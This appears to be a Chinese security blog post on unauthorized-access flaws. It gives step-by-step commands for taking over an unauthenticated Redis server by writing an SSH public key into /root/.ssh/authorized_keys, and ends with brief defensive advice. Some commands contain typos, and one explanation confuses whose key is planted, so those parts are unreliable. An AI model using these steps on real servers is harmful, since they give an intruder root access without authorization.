#10月更文诚意加码# 金秋十月,我要连续30天更文,做劳模,拿手机摄影神器!juejin.cn
未授权访问漏洞
未授权访问漏洞可以理解为安全配置,权限认证,授权页面存在缺陷,导致其他用户可以直接访问,从而引发权限可被操作,数据库,网站目录等敏感信息泄露,目前存在未授权访问漏洞的服务主要包括NFS,Smaba,LDAP,Rsync,FTP,GitLab,Jenkins,MongoDB,Redis,ZooKeeper,ElasticSearch,Memcache,CouchDB,Docker,Solr,Hadoop等。
Redis未授权访问漏洞
通常,服务器上的Redis绑定在6379端口上。如果没有开启认证功能,且没有采用相关的安全策略,比如添加防火墙规则避免其他非信任来源IP访问等,将会导致Redis服务直接暴露在公网上,造成其他用户直接在非授权情况下访问Redis服务。
通过手工进行未授权访问漏洞,在安装Redis服务的kali系统中输入redis-eli -h ip。如果目标系统存在未授权访问漏洞,则可以成功进行连接。输入info,可以查看redis服务的版本号,配置文件目录,进程ID号等
通过redis未授权访问漏洞获取目标权限的常规利用方式,其基本工作原理是:
修改数据库的默认路径/root/.ssh 默认的缓存文件为authorized.keys。将目标主机缓存的公钥作为value保存在authorized.keys文件中这样就在服务端/root/.ssh下生成了一个授权的key
(一)在本地主机生成密钥key的命令如下
ssh-keygen -t rsa
(二)在目录/root/.ssh下查看结果 ,并将公钥导入txt文件中
cd /root/.ssh
ls
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat /root/key.txt
(三)将txt文件中的公钥导入redis缓存中,命令如下
cat /root/key.txt | redis-cli -h ip
(四)连接到目标主机,更改配置文件路径/root/.ssh,设定文件名称为authorized-keys
redi-cli -h ip
config set dir /root/.ssh
config set dbfilename authorized_keys
save
(五)将ssh协议连接到远程目标主机 ssh ip
防御策略
(1)禁止远程使用高危命令
(2)低权限运行redis服务
(3)禁止外网访问redis
(4)阻止其他用户添加新的公钥,将authorized_keys的权限设置为对拥有者只读